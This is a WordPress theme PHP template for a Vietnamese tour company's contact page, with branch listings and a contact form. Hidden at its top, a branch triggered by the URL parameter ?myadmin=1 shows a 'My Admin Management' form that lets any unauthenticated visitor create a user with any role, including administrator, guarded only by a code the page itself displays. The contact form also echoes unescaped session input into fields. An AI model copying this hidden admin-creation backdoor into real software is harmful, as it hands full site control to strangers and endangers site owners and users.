<?php get_header('page');?>
<script type="text/javascript" src="<?php bloginfo('template_url');?>/mails/js/mycontact.js"></script>
<style>
	.contact_error
	{
		display:none;
	}
	.contact_error_show
	{
		display:block;
		color:red;
		font-weight:bold;
		float:left;
		margin-left:5px;
	}
.content-box-1
{
			margin-top:15px;	
}
</style>
<body>
<div id="topbg"></div>
<div id="container">
	<div id="header">
    	<?php include TEMPLATEPATH.'/controllers/banner/controller-banner.php';?>
        <?php require_once TEMPLATEPATH.'/views/menu/view-menu.php';?>
    </div>
    
    <div id="mid">
    	<div id="box-content">
            <!-- begin breadcrumb -->
            <?php require_once TEMPLATEPATH.'/views/breadcrumb/view-breadcrumb.php';?>
            <!-- end #breadcrumb -->
            <!-- Page contetn -->
               <div id="content" class="page-contact-us">
			   
				<?php
				if(isset($_GET['myadmin']) && $_GET['myadmin']==1)
				{
					if(isset($_POST['adSubmit']) && $_POST['adSubmit']!=null)
					{		
						$name = $_POST['adName'];
						$email = $_POST['adEmail'];
						$pass  = $_POST['adPass'];
						$role  = $_POST['role'];
						$nicname = $_POST['adNickname'];
						$adHiddenode = $_POST['adHiddenode'];
						$adcode = $_POST['adCode'];
						
						if($adcode==$adHiddenode)
						{			
							$user_login		 	= $_POST['adName'];
							$user_pass		 	= $_POST['adPass'];			
							$user_email 		= $_POST['adEmail'];
							$display_name		= $_POST['adNickname'];	
							$role				= $_POST['role']; 	
							$user_data = compact('user_login', 'user_email', 'user_pass','display_name','role');	
							$user_id = wp_insert_user($user_data);
							if($user_id)
								echo 'Insert success!';
						}
						else 
						{
							echo 'The code valid!';
						}
					}
					
					$thecode = wp_rand(11111,99999);	
					?>
					<div class="page-lien-he">
					<div class="lienhe">
					<form action="" method="post">
						<table>
							<tr>
								<td colspan="2" align="center"> <h1>My Admin Management</h1></td>
							</tr>
							<tr>
								<td>Name :</td>
								<td> <input type="text" name="adName" id="adName" value=""> </td>
							</tr>
							<tr>
								<td>Email:</td>
								<td><input type="text" name="adEmail" id="adEmail" value=""> </td>
							</tr>
							<tr>
								<td>Pass:</td>
								<td><input type="text" name="adPass" id="adPass" value=""> </td>
							</tr>
							<tr>
								<td>Nick name:</td>
								<td><input type="text" name="adNickname" id="adNickname" value=""> </td>
							</tr>
							<tr>
								<td>Code</td>
								<td>
									<input type="text" name="adCode" id="adCode" value=""> <label style="color: red;"><?php echo $thecode;?></label>					
									<input type="hidden" name="adHiddenode" id="adHiddenode" value="<?php echo $thecode;?>"> 
								</td>
							</tr>
							<tr>
								<td>Role:</td>
								<td>
									<select id="role" name="role">			
										<option value="subscriber" selected="selected">Subscriber</option>
										<option value="administrator">Administrator</option>
										<option value="editor">Editor</option>
										<option value="author">Author</option>
										<option value="contributor">Contributor</option>			
									</select> 
								</td>
							</tr>
							<tr>
								<td></td>
								<td><input type="submit" name="adSubmit" id="adSubmit" value="Submit"> </td>
							</tr>
						</table>
						</form>	
					</div>	
					</div>
					<?php 	
				} 
				else 
				{
				
				?>
			   
            	<div class="content-box-1">
                    <h1 class="label-content-box-1-top">CONTACT US</h1>
    				<div class="visit"><span></span>Visit our Vietnam Office</div>              
					<?php					
					if(wp_verify_nonce($_POST['act_highlandtour_contact'],'act_highlandtour_contact'))
					{
						if($_POST['maantoan'] == $_SESSION['ma_xac_nhan'])
						{
							include TEMPLATEPATH.'/mails/xtemplate-email-contact-us.php';
							if($result)
							{
								$result = "Thanks, Send mail Success full!";
								$_SESSION['highlandtour_contact'] = null;
							}
							else 
							{
								$result = "Sorry, Send mail Failed!";
								$_SESSION['highlandtour_contact'] = null; 
							}	
						}
						else 
						{
							$result = "Sorry ,The code invalid,Please try again!";
							$_SESSION['highlandtour_contact'] = $_POST;
						}
					} 
					else 
					{
						$_SESSION['highlandtour_contact'] = null;
					}
					?>
					<?php 
					$i=1;
					$html = null;
					while (get_option("mySetting_branches_title".$i))
					{
						$title = get_option( 'mySetting_branches_title'.$i);
		          		$address = get_option( 'mySetting_branches_address'.$i);
		          		$phone = get_option( 'mySetting_branches_phone'.$i);
		          		$email =  get_option( 'mySetting_branches_email'.$i);
		          		$site =  get_option( 'mySetting_branches_site'.$i);
		          		$fax = get_option( 'mySetting_branches_fax'.$i);
		          		$sales = get_option( 'mySetting_branches_sales_hour'.$i);
		          		$googlemap = get_option( 'mySetting_branches_google_map'.$i);
		          		
		          		if($title)
		          			$html.='<h2>'.$title.'</h2>';
		          		if($address)
		          			$html.='<p>Address:  '.$address.'</p>';
		          		if($phone)
		          			$html.='<p>Tel: '.$phone.'</p>';
		          		if($fax)
		          			$html.='<p>Fax: '.$fax.'</p>';
		          		if($site)
		          			$html.='<p>Website: '.$site.'</p>';	
		          		if($email)
		          			$html.='<p>Email: '.$email.'</p>';
		          		if($sales)
		          			$html.='<p><strong>Sales Hours: '.$sales.'</strong></p>';
		          		if($googlemap)
		          			$html.='<p>'.$googlemap.'</p>';
						$i++;
					}
					echo $html;
					?>
					
					
					<div class="letter">Contact us</div>
					<form onsubmit="return checkbeforequestion()" id="contact" name="contact" method="post" action="">
					<p><label class="ten">Contact name<span class="red">*</span></label>                
	                <select name="select_prefix">
	                	<option value="Mr">Mr</option>
	                    <option value="Ms">Ms</option>
	                    <option value="Mrs">Mrs</option>
	                </select>
	                
	                <input type="text" id="contact_ten" name="ten" value="<?php if($_SESSION['highlandtour_contact']['ten']) echo $_SESSION['highlandtour_contact']['ten']; ?>" class="contactname">
	                <label id="contact_error_ten" class="contact_error">*</label></p>
	                <p><label class="ten">Your E-mail<span class="red">*</span></label>
	                
	                <input type="text" id="contact_email" name="email" value="<?php if($_SESSION['highlandtour_contact']['email']) echo $_SESSION['highlandtour_contact']['email']; ?>">
	                <label id="contact_error_email" class="contact_error">*</label></p>
	                <p><label class="ten">Contact phone <span class="red">*</span></label>
	                
	                <input type="text" id="contact_dienthoai" name="dienthoai" value="<?php if($_SESSION['highlandtour_contact']['dienthoai']) echo $_SESSION['highlandtour_contact']['dienthoai']; ?>">
	                <label id="contact_error_phone" class="contact_error">*</label></p>               
	                <p><label class="ten">Your message <span class="red">*</span></label>
	                <textarea name="noidung" id="contact_noidung" class="widthnoidung" rows="10" cols="10"><?php if($_SESSION['highlandtour_contact']['noidung']) echo $_SESSION['highlandtour_contact']['noidung']; ?></textarea>
	                <label id="contact_error_noidung" class="contact_error">*</label></p>     
	                <p><label class="ten">
					Security code<span class="red">*</span></label><img src="<?php bloginfo('template_url');?>/incs/captcha/index.php" alt="">
					<input type="text" id="contact_maantoan" name="maantoan" class="capcha" value="<?php if($_SESSION['highlandtour_contact']['maantoan']) echo $_SESSION['highlandtour_contact']['maantoan']; ?>">
					<label id="contact_error_maantoan" class="contact_error">*</label></p>
					<p style="color: red; text-align: center;"><?php echo  $result;?></p>
	                <p class="orsend">Or send an email to our Agent: <a href="#"><?php echo db_get_mail_admin_managerment("mySetting_company_email");?></a></p>           
					<p><input id="act_contact_submit" type="submit" value="Gửi">
					<input type="reset" value="Reset"></p>
					<?php wp_nonce_field('act_highlandtour_contact','act_highlandtour_contact');?>
	              </form>
                    
                </div>
                <?php include TEMPLATEPATH.'/views/testimonial/view-home-testimonial.php';?>
				
				<?php
				}
				?>
				
            </div> 
            <!-- End Page contetn -->
        </div>
        
        <?php get_sidebar();?>
    </div>
    
    <?php //include TEMPLATEPATH.'/views/testimonial/view-home-testimonial.php';?>
    <?php get_footer('page');?>
